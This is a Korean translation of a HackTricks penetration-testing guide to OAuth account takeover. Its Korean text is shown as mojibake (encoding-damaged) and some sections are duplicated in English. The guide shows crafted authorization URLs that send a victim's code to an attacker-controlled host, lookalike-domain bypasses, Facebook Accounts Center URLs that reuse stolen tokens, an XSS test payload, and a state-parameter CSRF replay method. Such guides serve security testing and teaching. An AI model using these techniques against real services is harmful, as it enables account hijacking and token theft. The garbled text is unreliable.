OAuth๋ฅผ ํ†ตํ•œ Account takeover

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

OAuth๋Š” ๋‹ค์–‘ํ•œ ๋ฒ„์ „์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ธฐ๋ณธ์ ์ธ ์ •๋ณด๋Š” OAuth 2.0 documentation์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์„œ๋Š” ์ฃผ๋กœ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” OAuth 2.0 authorization code grant type์„ ์ค‘์‹ฌ์œผ๋กœ ํ•˜๋ฉฐ, ์ด๋Š” ์–ด๋–ค ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(authorization server)์— ์žˆ๋Š” ์‚ฌ์šฉ์ž์˜ ๊ณ„์ •์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ํ•ด๋‹น ๊ณ„์ •์—์„œ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๊ถŒํ•œ ๋ถ€์—ฌ ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

๊ฐ€๋ น ๋ชจ๋“  ์†Œ์…œ ๋ฏธ๋””์–ด ๊ฒŒ์‹œ๋ฌผ(๋น„๊ณต๊ฐœ ํฌํ•จ)์„ ๋ชจ๋‘ ๋ณด์—ฌ์ฃผ๋Š” ๊ฒƒ์„ ๋ชฉ์ ์œผ๋กœ ํ•˜๋Š” ๊ฐ€์ƒ์˜ ์›น์‚ฌ์ดํŠธ _https://example.com_์„ ์ƒ๊ฐํ•ด๋ณด์‹ญ์‹œ์˜ค. ์ด๋ฅผ ์œ„ํ•ด OAuth 2.0์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. _https://example.com_์€ ๊ท€ํ•˜์˜ social media posts์— ์ ‘๊ทผํ•  ๊ถŒํ•œ์„ ์š”์ฒญํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ๋กœ _https://socialmedia.com_์—์„œ ๋™์˜ ํ™”๋ฉด์ด ํ‘œ์‹œ๋˜๋ฉฐ, ์—ฌ๊ธฐ์—๋Š” ์š”์ฒญ๋˜๋Š” ๊ถŒํ•œ๊ณผ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ์š”์•ฝ๋˜์–ด ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค. ๊ท€ํ•˜๊ฐ€ ์Šน์ธํ•˜๋ฉด _https://example.com_์€ ๊ท€ํ•˜๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

OAuth 2.0 ํ”„๋ ˆ์ž„์›Œํฌ์—์„œ ๋‹ค์Œ ๊ตฌ์„ฑ ์š”์†Œ๋“ค์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค:

  • resource owner: ๋‹น์‹ , ์ฆ‰ ์‚ฌ์šฉ์ž/์—”ํ‹ฐํ‹ฐ๋Š” ์†Œ์…œ ๋ฏธ๋””์–ด ๊ณ„์ •์˜ ๊ฒŒ์‹œ๋ฌผ๊ณผ ๊ฐ™์€ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์Šน์ธํ•ฉ๋‹ˆ๋‹ค.
  • resource server: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด access token์„ ํ™•๋ณดํ•œ ํ›„ ์ธ์ฆ๋œ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ์„œ๋ฒ„, ์˜ˆ: https://socialmedia.com.
  • client application: resource owner๋กœ๋ถ€ํ„ฐ ๊ถŒํ•œ์„ ์š”์ฒญํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜, ์˜ˆ: https://example.com.
  • authorization server: resource owner์˜ ์ธ์ฆ๊ณผ ๊ถŒํ•œ ํ™•๋ณด๊ฐ€ ์™„๋ฃŒ๋œ ํ›„ client application์— access tokens๋ฅผ ๋ฐœํ–‰ํ•˜๋Š” ์„œ๋ฒ„, ์˜ˆ: https://socialmedia.com.
  • client_id: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๊ณต๊ฐœ์ ์ด๊ณ  ๊ณ ์œ ํ•œ ์‹๋ณ„์ž.
  • client_secret: ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ authorization server๋งŒ ์•„๋Š” ๋น„๋ฐ€ ํ‚ค๋กœ, access_tokens ์ƒ์„ฑ์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • response_type: ์š”์ฒญํ•˜๋Š” ํ† ํฐ์˜ ์œ ํ˜•์„ ์ง€์ •ํ•˜๋Š” ๊ฐ’, ์˜ˆ: code.
  • scope: client application์ด resource owner์—๊ฒŒ ์š”์ฒญํ•˜๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์˜ ์ˆ˜์ค€.
  • redirect_uri: ์‚ฌ์šฉ์ž๊ฐ€ ๊ถŒํ•œ ์Šน์ธ ํ›„ ๋ฆฌ๋””๋ ‰์…˜๋˜๋Š” URL์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์ „์— ๋“ฑ๋ก๋œ redirect URL๊ณผ ์ผ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • state: ์‚ฌ์šฉ์ž๊ฐ€ authorization server๋กœ ๋ฆฌ๋””๋ ‰์…˜๋  ๋•Œ์™€ ๋Œ์•„์˜ฌ ๋•Œ ์‚ฌ์ด์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ์ž…๋‹ˆ๋‹ค. ๊ณ ์œ ์„ฑ์ด ์ค‘์š”ํ•˜๋ฉฐ CSRF ๋ฐฉ์–ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
  • grant_type: ์–ด๋–ค grant ์œ ํ˜•๊ณผ ๋ฐ˜ํ™˜๋  ํ† ํฐ์˜ ์œ ํ˜•์ธ์ง€ ๋‚˜ํƒ€๋‚ด๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ์ž…๋‹ˆ๋‹ค.
  • code: authorization server๋กœ๋ถ€ํ„ฐ ๋ฐ›์€ ๊ถŒํ•œ ์ฝ”๋“œ๋กœ, client application์ด client_id ๋ฐ client_secret๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ access_token์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค.
  • access_token: client application์ด resource owner๋ฅผ ๋Œ€์‹ ํ•˜์—ฌ API ์š”์ฒญ์— ์‚ฌ์šฉํ•˜๋Š” ํ† ํฐ์ž…๋‹ˆ๋‹ค.
  • refresh_token: ์‚ฌ์šฉ์ž๋ฅผ ๋‹ค์‹œ ๋ฌป์ง€ ์•Š๊ณ  ์ƒˆ๋กœ์šด access_token์„ ์–ป์„ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

ํ๋ฆ„

์‹ค์ œ OAuth ํ๋ฆ„์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ง„ํ–‰๋ฉ๋‹ˆ๋‹ค:

  1. ์‚ฌ์šฉ์ž๋Š” https://example.com์— ์ ‘์†ํ•ด โ€œIntegrate with Social Mediaโ€ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค.
  2. ์‚ฌ์ดํŠธ๋Š” https://example.com์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ฒŒ์‹œ๋ฌผ์— ์ ‘๊ทผํ•˜๋„๋ก ํ—ˆ๊ฐ€ํ•ด ๋‹ฌ๋ผ๋Š” ์š”์ฒญ์„ https://socialmedia.com์œผ๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ตฌ์กฐ์ž…๋‹ˆ๋‹ค:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. ๊ทธ๋Ÿฌ๋ฉด ๋™์˜ ํŽ˜์ด์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค.
  2. ์Šน์ธ์„ ํ•˜๋ฉด Social Media๊ฐ€ redirect_uri๋กœ code์™€ state ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํฌํ•จํ•œ ์‘๋‹ต์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com๋Š” ์ด code๋ฅผ client_id ๋ฐ client_secret๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋ฒ„ ์ธก ์š”์ฒญ์„ ํ†ตํ•ด ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์‹ ํ•ด access_token์„ ํš๋“ํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ๋™์˜ํ•œ ๊ถŒํ•œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. ๋งˆ์ง€๋ง‰์œผ๋กœ, ํ”„๋กœ์„ธ์Šค๋Š” https://example.com ์ด ๋‹น์‹ ์˜ access_token์„ ์‚ฌ์šฉํ•ด ์†Œ์…œ ๋ฏธ๋””์–ด API ํ˜ธ์ถœ์„ ํ•˜์—ฌ ์ ‘๊ทผํ•˜๋ฉด์„œ ๋งˆ๋ฌด๋ฆฌ๋ฉ๋‹ˆ๋‹ค

Vulnerabilities

์—ด๋ฆฐ redirect_uri

Per RFC 6749 ยง3.1.2, authorization server๋Š” ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์˜ค์ง ์‚ฌ์ „์— ๋“ฑ๋ก๋œ, ์ •ํ™•ํ•œ redirect URIs๋กœ๋งŒ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์— ์ทจ์•ฝ์ ์ด ์žˆ์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์•…์˜์ ์ธ authorization URL์„ ํ†ตํ•ด ํ”ผํ•ด์ž๋ฅผ ์œ ๋„ํ•˜์—ฌ IdP๊ฐ€ ํ”ผํ•ด์ž์˜ code(๋ฐ state)๋ฅผ ๊ทธ๋Œ€๋กœ ๊ณต๊ฒฉ์ž ์—”๋“œํฌ์ธํŠธ๋กœ ์ „๋‹ฌํ•˜๊ฒŒ ๋งŒ๋“ค๊ณ , ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ๊ตํ™˜ํ•ด ํ† ํฐ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ ๊ณต๊ฒฉ ํ๋ฆ„:

  1. https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback ๋ฅผ craftํ•˜์—ฌ ํ”ผํ•ด์ž์—๊ฒŒ ๋ณด๋ƒ…๋‹ˆ๋‹ค.
  2. ํ”ผํ•ด์ž๊ฐ€ ์ธ์ฆํ•˜๊ณ  scopes๋ฅผ ์Šน์ธํ•ฉ๋‹ˆ๋‹ค.
  3. IdP๊ฐ€ attacker.tld/callback?code=<victim-code>&state=... ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์š”์ฒญ์„ ๋กœ๊น…ํ•˜๊ณ  ์ฆ‰์‹œ code๋ฅผ ๊ตํ™˜ํ•ฉ๋‹ˆ๋‹ค.

๊ฒ€์‚ฌํ•  ๋งŒํ•œ ์ผ๋ฐ˜์ ์ธ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ๋ฒ„๊ทธ:

  • ๊ฒ€์ฆ ์—†์Œ โ€“ ์–ด๋–ค ์ ˆ๋Œ€ URL๋„ ํ—ˆ์šฉ๋˜์–ด ์ฆ‰์‹œ code ํƒˆ์ทจ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ์•ฝํ•œ ๋ถ€๋ถ„ ๋ฌธ์ž์—ด/์ •๊ทœ์‹ ๊ฒ€์‚ฌ โ€“ evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, ๋˜๋Š” match.com@evil.com ๊ฐ™์€ lookalike๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • IDN homograph ๋ถˆ์ผ์น˜ โ€“ ๊ฒ€์ฆ์€ punycode ํ˜•ํƒœ(xn--)๋กœ ์ด๋ฃจ์–ด์ง€์ง€๋งŒ ๋ธŒ๋ผ์šฐ์ €๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์œ ๋‹ˆ์ฝ”๋“œ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ฉ๋‹ˆ๋‹ค.
  • ํ—ˆ์šฉ๋œ ํ˜ธ์ŠคํŠธ์˜ ์ž„์˜ ๊ฒฝ๋กœ โ€“ redirect_uri๋ฅผ /openredirect?next=https://attacker.tld ๋˜๋Š” ์–ด๋–ค XSS/์‚ฌ์šฉ์ž ์ฝ˜ํ…์ธ  ์—”๋“œํฌ์ธํŠธ๋กœ ์ง€์ •ํ•˜๋ฉด ์ฒด์ธ๋œ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ, Referer ํ—ค๋”, ๋˜๋Š” ์ฃผ์ž…๋œ JavaScript๋ฅผ ํ†ตํ•ด code๊ฐ€ ์œ ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • ์ •๊ทœํ™” ์—†์ด ๋””๋ ‰ํ† ๋ฆฌ ์ œ์•ฝ โ€“ /oauth/* ๊ฐ™์€ ํŒจํ„ด์€ /oauth/../anything๋กœ ์šฐํšŒ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์™€์ผ๋“œ์นด๋“œ ์„œ๋ธŒ๋„๋ฉ”์ธ โ€“ *.example.com์„ ํ—ˆ์šฉํ•˜๋ฉด ์–ด๋–ค takeover(๋– ์žˆ๋Š” DNS, S3 ๋ฒ„ํ‚ท ๋“ฑ)๋“  ์ฆ‰์‹œ ์œ ํšจํ•œ callback์ด ๋ฉ๋‹ˆ๋‹ค.
  • ๋น„-HTTPS ์ฝœ๋ฐฑ โ€“ http:// URI๋ฅผ ํ—ˆ์šฉํ•˜๋ฉด ๋„คํŠธ์›Œํฌ ๊ณต๊ฒฉ์ž(Wiโ€‘Fi, ๊ธฐ์—… ํ”„๋ก์‹œ ๋“ฑ)๊ฐ€ ์ „์†ก ์ค‘์— code๋ฅผ ๊ฐ€๋กœ์ฑŒ ๊ธฐํšŒ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ๋ณด์กฐ์ ์ธ redirect ์Šคํƒ€์ผ ๋งค๊ฐœ๋ณ€์ˆ˜๋“ค(client_uri, policy_uri, tos_uri, initiate_login_uri ๋“ฑ)๊ณผ OpenID discovery document (/.well-known/openid-configuration)๋ฅผ ๊ฒ€ํ† ํ•˜์—ฌ ๋™์ผํ•œ ๊ฒ€์ฆ ๋ฒ„๊ทธ๋ฅผ ์ด์–ด๋ฐ›์„ ์ˆ˜ ์žˆ๋Š” ์ถ”๊ฐ€ ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

Redirect token ์œ ์ถœ on allowlisted domains with attacker-controlled subpaths

redirect_uri๋ฅผ โ€œ์†Œ์œ /ํผ์ŠคํŠธํŒŒํ‹ฐ ๋„๋ฉ”์ธโ€์œผ๋กœ ๊ณ ์ •ํ•ด๋„, ์–ด๋–ค allowlisted ๋„๋ฉ”์ธ์ด๋“  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๊ฒฝ๋กœ๋‚˜ ์‹คํ–‰ ์ปจํ…์ŠคํŠธ(๋ ˆ๊ฑฐ์‹œ ์•ฑ ํ”Œ๋žซํผ, ์‚ฌ์šฉ์ž ๋„ค์ž„์ŠคํŽ˜์ด์Šค, CMS ์—…๋กœ๋“œ ๋“ฑ)๋ฅผ ๋…ธ์ถœํ•˜๋ฉด ๋„์›€์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. OAuth/์—ฐ๋™ ๋กœ๊ทธ์ธ ํ๋ฆ„์ด URL์— ํ† ํฐ์„ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ(์ฟผ๋ฆฌ ๋˜๋Š” ํ•ด์‹œ), ๊ณต๊ฒฉ์ž๋Š” ๋‹ค์Œ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ์œ ํšจํ•œ ํ๋ฆ„์„ ์‹œ์ž‘ํ•ด ํ”„๋ฆฌ-ํ† ํฐ์„ ๋ฐœ๊ธ‰๋ฐ›์Šต๋‹ˆ๋‹ค(์˜ˆ: multi-step Accounts Center/FXAuth ํ๋ฆ„์—์„œ์˜ etoken).
  2. ํ”ผํ•ด์ž์—๊ฒŒ allowlisted ๋„๋ฉ”์ธ์„ redirect_uri/base_uri๋กœ ์„ค์ •ํ•˜๋˜ next/๊ฒฝ๋กœ๋ฅผ ๊ณต๊ฒฉ์ž ์ œ์–ด ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋กœ ๊ฐ€๋ฆฌํ‚ค๋Š” authorization URL์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค(์˜ˆ: https://apps.facebook.com/<attacker_app>).
  3. ํ”ผํ•ด์ž๊ฐ€ ์Šน์ธํ•˜๋ฉด IdP๋Š” ๋ฏผ๊ฐํ•œ ๊ฐ’๋“ค(token, blob, codes ๋“ฑ)์„ URL์— ํฌํ•จํ•ด ๊ณต๊ฒฉ์ž ์ œ์–ด ๊ฒฝ๋กœ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•ฉ๋‹ˆ๋‹ค.
  4. ํ•ด๋‹น ํŽ˜์ด์ง€์˜ JavaScript๊ฐ€ window.location์„ ์ฝ์–ด ๊ฐ’์„ ์™ธ๋ถ€๋กœ exfiltrateํ•ฉ๋‹ˆ๋‹ค โ€” ๋„๋ฉ”์ธ์ด โ€œ์‹ ๋ขฐ๋œโ€ ๊ฒƒ์œผ๋กœ ๋ณด์ด๋”๋ผ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  5. ํฌ์ฐฉํ•œ ๊ฐ’์„ downstream์˜ ๊ถŒํ•œ ์žˆ๋Š” ์—”๋“œํฌ์ธํŠธ์— ๋Œ€ํ•ด ์žฌ์‚ฌ์šฉํ•˜์—ฌ, ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋กœ ์ „๋‹ฌ๋œ ํ† ํฐ๋งŒ ๊ธฐ๋Œ€ํ•˜๋Š” ๊ณณ์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. FXAuth ํ๋ฆ„์˜ ์˜ˆ:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

๋ฆฌ๋””๋ ‰ํŠธ ๊ตฌํ˜„์—์„œ์˜ XSS

์ด bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html์—์„œ ์–ธ๊ธ‰ํ•œ ๋ฐ”์™€ ๊ฐ™์ด, ์‚ฌ์šฉ์ž๊ฐ€ ์ธ์ฆํ•œ ํ›„ ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋ฆฌ๋””๋ ‰ํŠธ URL์ด ๋ฐ˜์‚ฌ๋˜์–ด XSS์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋Š” payload:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - state parameter์˜ ๋ถ€์ ์ ˆํ•œ ์ฒ˜๋ฆฌ

The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the userโ€™s session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attackerโ€™s identity provider profile.

state ํŒŒ๋ผ๋ฏธํ„ฐ๋Š” Authorization Code ํ๋ฆ„์˜ CSRF ํ† ํฐ์ž…๋‹ˆ๋‹ค: ํด๋ผ์ด์–ธํŠธ๋Š” ๋ธŒ๋ผ์šฐ์ € ์ธ์Šคํ„ด์Šค๋ณ„๋กœ ์•”ํ˜ธํ•™์ ์œผ๋กœ ๋žœ๋คํ•œ ๊ฐ’์„ ์ƒ์„ฑํ•˜๊ณ  ๊ทธ ๋ธŒ๋ผ์šฐ์ €๋งŒ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์œ„์น˜(์ฟ ํ‚ค, local storage ๋“ฑ)์— ์ €์žฅํ•œ ๋’ค, ์ธ๊ฐ€ ์š”์ฒญ์— ํฌํ•จ์‹œํ‚ค๊ณ  ๋™์ผํ•œ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜์ง€ ์•Š๋Š” ์‘๋‹ต์€ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ’์ด ์ •์ ์ด๊ฑฐ๋‚˜ ์˜ˆ์ธก ๊ฐ€๋Šฅํ•˜๊ฑฐ๋‚˜ ์„ ํƒ์ ์ด๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์— ๋ฌถ์—ฌ ์žˆ์ง€ ์•Š์œผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ OAuth ํ๋ฆ„์„ ์™„๋ฃŒํ•˜๊ณ  ์ตœ์ข… ?code= ์š”์ฒญ์„ ์บก์ฒ˜(์ „์†กํ•˜์ง€ ์•Š๊ณ )ํ•œ ๋’ค ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ•ด๋‹น ์š”์ฒญ์„ ์žฌ์ƒํ•˜๋„๋ก ๊ฐ•์ œํ•˜์—ฌ ํ”ผํ•ด์ž ๊ณ„์ •์ด ๊ณต๊ฒฉ์ž์˜ IdP ํ”„๋กœํ•„์— ์—ฐ๊ฒฐ๋˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

The replay pattern is always the same:

  1. The attacker authenticates against the IdP with their account and intercepts the last redirect containing code (and any state).
  2. They drop that request, keep the URL, and later abuse any CSRF primitive (link, iframe, auto-submitting form) to force the victim browser to load it.
  3. If the client does not enforce state, the application consumes the attackerโ€™s authorization result and logs the attacker into the victimโ€™s app account.

์žฌ์ƒ ๊ณต๊ฒฉ ํŒจํ„ด์€ ํ•ญ์ƒ ๋™์ผํ•ฉ๋‹ˆ๋‹ค:

  1. ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ๊ณ„์ •์œผ๋กœ IdP์— ์ธ์ฆํ•œ ๋’ค code(๋ฐ state)๋ฅผ ํฌํ•จํ•œ ๋งˆ์ง€๋ง‰ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๊ฐ€๋กœ์ฑ•๋‹ˆ๋‹ค.
  2. ๊ทธ ์š”์ฒญ์„ ์ „์†กํ•˜์ง€ ์•Š๊ณ  URL์„ ๋ณด๊ด€ํ•œ ๋’ค, ๋งํฌยทiframeยท์ž๋™ ์ œ์ถœ ํผ ๊ฐ™์€ CSRF ์›์‹œ ๊ธฐ๋ฒ•์„ ์ด์šฉํ•ด ๋‚˜์ค‘์— ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ•ด๋‹น URL์„ ๋กœ๋“œํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  3. ํด๋ผ์ด์–ธํŠธ๊ฐ€ state๋ฅผ ๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๊ณต๊ฒฉ์ž์˜ ์ธ๊ฐ€ ๊ฒฐ๊ณผ๋ฅผ ์ˆ˜์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋ฅผ ํ”ผํ•ด์ž์˜ ์•ฑ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์‹œํ‚ต๋‹ˆ๋‹ค.

A practical checklist for state handling during tests:

  • Missing state entirely โ€“ if the parameter never appears, the whole login is CSRFable.
  • state not required โ€“ remove it from the initial request; if the IdP still issues codes that the client accepts, the defense is opt-in.
  • Returned state not validated โ€“ tamper with the value in the response (Burp, MITM proxy). Accepting mismatched values means the stored token is never compared.
  • Predictable or purely data-driven state โ€“ many apps stuff redirect paths or JSON blobs into state without mixing in randomness, letting attackers guess valid values and replay flows. Always prepend/append strong entropy before encoding data.
  • state fixation โ€“ if the app lets users supply the state value (e.g., via crafted authorization URLs) and reuses it throughout the flow, an attacker can lock in a known value and reuse it across victims.

ํ…Œ์ŠคํŠธ ์ค‘ state ์ฒ˜๋ฆฌ์— ๋Œ€ํ•œ ์‹ค๋ฌด ์ ๊ฒ€ ๋ชฉ๋ก:

  • Missing state entirely โ€“ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ „ํ˜€ ๋‚˜ํƒ€๋‚˜์ง€ ์•Š์œผ๋ฉด ์ „์ฒด ๋กœ๊ทธ์ธ ํ๋ฆ„์ด CSRF์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.
  • state not required โ€“ ์ดˆ๊ธฐ ์š”์ฒญ์—์„œ state๋ฅผ ์ œ๊ฑฐํ•ด๋ณด์„ธ์š”. IdP๊ฐ€ ์—ฌ์ „ํžˆ ์ฝ”๋“œ๋ฅผ ๋ฐœ๊ธ‰ํ•˜๊ณ  ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ด๋ฅผ ์ˆ˜๋ฝํ•˜๋ฉด ๋ฐฉ์–ด๊ฐ€ ์˜ตํŠธ์ธ ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.
  • Returned state not validated โ€“ ์‘๋‹ต์˜ ๊ฐ’์„ ๋ณ€์กฐํ•ด๋ณด์„ธ์š” (Burp, MITM proxy). ๋ถˆ์ผ์น˜ ๊ฐ’์„ ์ˆ˜์šฉํ•œ๋‹ค๋ฉด ์ €์žฅ๋œ ํ† ํฐ์ด ์ „ํ˜€ ๋น„๊ต๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
